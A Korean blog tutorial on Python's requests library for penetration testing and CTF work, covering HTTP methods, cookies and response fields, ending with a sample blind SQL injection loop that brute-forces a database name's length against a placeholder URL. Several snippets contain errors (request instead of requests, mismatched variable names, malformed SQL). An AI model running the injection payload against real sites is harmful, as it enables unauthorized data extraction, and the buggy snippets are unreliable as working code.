Everything is hacked.

There is no 100 % security.

API/Python

Python Requests Library

Kai_HT 2022. 6. 13. 19:32

개요

실무 모의해킹 컨설팅이나 CTF 대회, 버그바운티를 진행하다보면 패킷 내 데이터를 지정하여 요청 / 응답 값을 판단해야하는 경우가 생긴다. 예시들로 CTF 에서는 반복되는 URL 에 접근하여 Flag 값이 존재하는 페이지를 확인하거나 실무에선 Blind Injection 을 진행할때가 좋은 예시라고 할 수 있다.

요즘처럼 라이브러리가 많이 존재하지 않았을 몇년 전까지만 해도 직접 C++ 이나 C# 으로 따로 요청하는 패킷과 해당 패킷에 대한 응답 페이지 값을 가져와야 했지만 2022년 현재 파이썬 라이브러리들이 수많은 개발들을 통해 공개되면서 보다 쉽게 작성이 가능해졌다.

자신이 C++. C# 등 여러 언어를 비교적 자유롭게 활용할 수 있다면 해당 코드를 작성하여 원하는 결과값을 도출해낼 수 있겠으나, 특정 언어 - C언어 - 만을 다루던 필자처럼 해당 코드들에 작성하는 대에 있어 부족한 사람들도 분명 있을 것이라 판단된다.

그렇기에 본인은 이러한 문제를 보다 쉽게 해결하기 위해 다루기 쉬운 파이썬 라이브러리 중 'Requests' 라이브러리를 사용하고 있으며, 해당 라이브러리를 소개하고자 한다.

Python Requests Library Docs Link : http://docs.python-requests.org/

 

Domain Suspension

As a Registrant of a domain name, a new domain registration or changes to the first name, last name or email address of an existing domain name, requires verification of the information within 15 days. Since you failed to verify the Registrant information,

docs.python-requests.org

(도메인 문제가 있는지 2022년 6월 현재 접근이 되지 않는다.)

Archive Link : https://archive.ph/e6cat

 

archive.ph

What can I do to prevent this in the future? If you are on a personal connection, like at home, you can run an anti-virus scan on your device to make sure it is not infected with malware. If you are at an office or shared network, you can ask the network a

archive.ph

 


소개

Requests Library 는 Python 에서 지원하는 HTTP Library 중 하나다. 해당 라이브러리 프로젝트는 HTTP 요청을 더 간단하고 사람 친화적으로 만드는 것을 목표로 하여 작성되었으며, 해당 라이브러리는 Apache License 2.0 을 따른다. 

pip install requests

< requests Library Install >

당연한 이야기지만 해당 라이브러리 사용을 위해선 pip install 을 통해 설치를 우선 해주어야한다. 해당 라이브러리를 설치하고 나면 사용할 준비가 모두 끝난 것이다.

관련 URL - 

Wikipedia : https://en.wikipedia.org/wiki/Requests_(software) 

 

Requests (software) - Wikipedia

Software library for HTTP connection in Python Requests is a HTTP library for the Python programming language. The goal of the project is to make HTTP requests simpler and more human-friendly. The current version is 2.27.1.[2][3] Requests is released under

en.wikipedia.org

Project Github : https://github.com/psf/requests

 

GitHub - psf/requests: A simple, yet elegant, HTTP library.

A simple, yet elegant, HTTP library. Contribute to psf/requests development by creating an account on GitHub.

github.com


본론

해당 라이브러리를 사용하기 위해선 당연히 코드 상단에 import 해주어야한다. 추가적인 라이브러리 선언은 필요하지 않다.

import requests

requests 는 GET 통신과 POST 통신 모두 지원하며, POST 방식의 경우 파라미터 값을 명시해주어야 하므로 data 라는값이 추가로 선언되어야한다.

# GET request
r = request.get('https://testurl.com')

# POST request
r = request.post('https://testurl.com', data = {
	"Param1":"Param Data1",
	"Param2":"Param Data2"
    })

requests 가 사용되는 코드 특성상 URL 값이 자주 인용되므로 특정 변수에 선언 후 사용할 것을 권장한다.

import requests

# Request URL Setting
url = 'https://testurl.com'

# Request COOKIE Value Setting
cookie = {'Cookie':'SESSID=SESSION_DATA'}

# GET request
r = request.get(url, headers=Cookie)

# POST request
r = request.post('https://testurl.com', data = {
	"Param1":"Param Data1",
	"Param2":"Param Data2"
    	},
    headers = Cookie
    )

특정 URL 뿐만 아니라 Cookie 값이나 헤더값도 포함하여 전송할 수 있는 것이 또다른 강점이며, GET 또는 POST 방식 뿐만 아니라 PUT, DELETE, HEAD, OPTIONS 의 헤더도 사용 가능하니 공식 독스를 확인해보자.

# 1. PUT Method Request 
r = requests.put(url, data = {'param':'value'})

# 2. DELETE Method Request
r = requests.delete(url)

# 3. HEAD Method Request
r = requests.head(url)

# 4. Options Method Request
r = requests.options(url)

요청을 했다면, 응답값을 확인해야할 차례다. 응답값을 활용하거나 확인하는 코드 역시 요청하는 코드처럼 굉장히 간단하게 사용이 가능하다.

# Print URL Data
>>> print (r.url)
https://testurl.com?Param1=value&Param2=value

# Print Content Text
>>> r.text
<!DOCTYPE html>
<head> Test Url </head>
...

# Print Content 
>>> r.content
b'<!DOCTYPE html>\n<html lang="ko">\n<head>\n    <meta http-equiv="Content-Type" cotent= '
...

# Print Raw Content
>>> r.raw
<urllib3.response.HTTPResponse object at 0x000001EEFE821750>

# Print Status Code
>>> r.status_code
200

# Print Response Headers
>>> r.headers
{'Date': 'Mon, 13 Jun 2022 09:51:53 GMT' ...

# Print Response Content-Type
>>> r.headers['Content-Type']
>>> r.headers.get('content-type')
'application/json'

추가적인 사용법의 경우 프로젝트 Docs 를 확인해보도록 하자. (필자는 주로 이용하는 함수들을 정리해놓았다.)


응용

requests 라이브러리가 어떤 형식으로 작성되는지 알아보았다. 그렇다면 우리가 원하는 코드를 작성하는 경우 각각의 변수를 상황에 맞게 대입하거나, 해당 변수에 따른 응답값에 따라 판단해야할텐데, 이러한 경우는 어떻게 사용할까.

변수를 대입하는 경우, 요청 파라미터 값이 변화해야하므로 '{ }' 를 이용하여 변수가 들어갈 곳을 선언해주고 사용하게 된다.

import requests

# URL Data Setting 
url = 'testurl.com'

# Header Data Setting
headers = {'Cookie':'PHPSESSID=CookieData'}

# Database Length Data Setting 
database_length=0

for i in range(100):

	# POST Request Field Setting ( Injection Point : Parameter Keyword )
    r = requests.post(url, data={
		"keyfield":"title",
		"keyword":"' AND SELECT CASE WHEN(LEN(SELECT name FROM v$database)={}) then 'a%' else 'NOP' end)='a".format(i),
		"Param1":"test1",
        "Param2":"test2"})

	# If 'Real Data' Text in r.text, Print Database Length
    if 'Real Data' in r.text:
        database_length = i
        print('[+] Database Length is :' + str(i))
        break
    else :
        print('Injection Failed')

< Test Blind SQL Injection Code : Database Length >

해당 코드는 Blind Injection 으로 데이터베이스 길이명을 알아내는 코드 예시이다. ' { } ' 를 사용하여 들어갈 변수 자리를 선언하고, python 문법에 따라 뒤에 해당 영역에 들어올 변수를 선언해준다. 반복문 내에 있으므로 i가 100이 될때 까지 지속적으로 반복할 것이며, 외부 변수가 있지 않는 한 해당 코드는 keyfield 값, keyword 값, 그리고 Param1 값으로 요청 패킷을 해당 URL 에 전달할 것이다.

응답값 내 'Real Data' 라는 문자열이 존재한다면, 해당 코드는 i 값을 database_length 에 넣어주고 데이터베이스의 길이가 i 값 만큼 된다 출력해주므로써 데이터베이스 명 길이를 알아낼 수 있을 것이다.

추가적인 변수가 필요하다면 필자는 for 문을 더 선언하고, 해당 요청문 내 ' { } ' 를 사용하여 변수값을 대입할 것이다.

※ 변수값은 data={"{1} {2} {3}"}.format(3.2.1)} 순서로 대입되니 확인후 사용해야한다. ( for 문이 세번 돌 경우 3, 2,1 순으로 변수값이 변경된다. - 중괄호 내 숫자들은 쉽게 판단하기 위해 대입하였다.)


모의해킹을 하기 앞서 보다 효율적인 시간활용을 위해선 코드활용이 필요하다. 특히 웹 공격의 경우 인젝션이나 특정 파라미터 데이터에 대한 반환값이 필요하므로 필수불가결이라고 할 수 있다. 물론 BurpSuite 내 존재하는 Introduce 기능을 이용할 수도 있겠지만 간단한 작업이 아닌 인젝션과 같은 쿼리문 선언과 데이터 정렬이 필요한 경우 많은 시간을 요하므로 코드 작성이 꼭 필요하다. 

생각외로 많은 블로그들에서 인젝션과 관련한 자동화 파이썬 코드나 코드들이나 request 에 대한 정리가 되어있지만, 보다 간결한 인젝션 자동화 코드나 모의해킹에서 사용되는 requests 라이브러리에 대해 정리해놓은 글을 많이 찾지 못해 정리되었다. 이 글을 통해 보다 많은 도움이 되었으면 좋겠다.

'API > Python' 카테고리의 다른 글

Python Requests Library - JSON List Parsing  (0) 2022.12.28